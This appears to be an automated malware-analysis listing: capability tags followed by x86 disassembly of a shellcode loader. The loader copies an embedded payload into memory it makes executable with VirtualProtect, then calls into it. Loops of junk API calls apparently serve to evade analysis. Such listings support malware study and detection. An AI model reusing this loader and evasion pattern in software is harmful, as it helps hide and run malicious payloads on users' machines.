Function at 0x405300
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.0040d780
push ebx
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp esi, 0xfa62c8f
jge 0x405354
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp esi, 0x207142
jg 0x405365
inc esi
cmp esi, 0x67d12
jl 0x40531e
mov eax, dword [0x6192cc]
cmp eax, 0x93
jne 0x40542a
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuStringA]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCW]
xor eax, eax
lock bts dword [eax], 0
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0x404d60
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0
call fcn.00405fb4
push ecx
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00406310
fstp st(0)
add esp, 8
lea ecx, [ebp - 0x18]
call fcn.00405fdc
lea ecx, [ebp - 0x18]
call fcn.00406018
push 0
call fcn.004062e8
add esp, 4
push 0
call fcn.004062fe
add esp, 4
push 0
push 0
call fcn.00405f9d
add esp, 8
call fcn.00405df5
push 0
call fcn.0040675a
mov ecx, dword [0x4768dc]
add eax, 0x1134b
push eax
push 0
mov dword [0x61a108], ecx
mov dword [0x6192cc], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x6192cc]
lea edx, [ebp - 8]
push edx
push 0x40
push ecx
push eax
mov dword [0x618d5c], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_LoadMenuW]
mov ebx, dword [sym.imp.USER32.dll_CharUpperW]
mov esi, 0x1692e
push 0
push 0
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x405473
cmp dword [0x6192cc], esi
jbe 0x4054ef
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
mov edx, dword [0x61a108]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x618d5c]
mov byte [ecx + esi], al
cmp dword [0x6192cc], 0x490
jne 0x4054e6
push 0
push 0
push 0
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea edx, [ebp - 4]
push edx
push 0
lea eax, [ebp - 0x20]
push eax
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
inc esi
cmp esi, dword [0x6192cc]
jb 0x40549a
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.USER32.dll_SetMenu]
xor esi, esi
mov ecx, dword [0x6192cc]
add ecx, esi
cmp ecx, 0x8d
jne 0x40553f
push 0
lea edx, [ebp - 0x820]
push edx
push 0
push 0x404d4c
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc esi
cmp esi, 0x38681
jl 0x4054fd
call fcn.004051e0
xor edi, edi
xor esi, esi
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x405570
mov dword [ebp - 4], edi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x618d5c], eax
inc esi
cmp esi, 0x674bd
jl 0x405551
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalWire]
mov dword [ebp - 4], 0x7b
cmp dword [0x6192cc], 0x86
jne 0x4055db
push 0
call esi
push 0
lea ecx, [ebp - 0x1020]
push ecx
push 0x404d54
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
lea edx, [ebp - 0x420]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
cmp dword [0x6192cc], 0xf
jne 0x4055f2
push 0
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
dec dword [ebp - 4]
jne 0x405592
push 0x404db0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x618d5c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret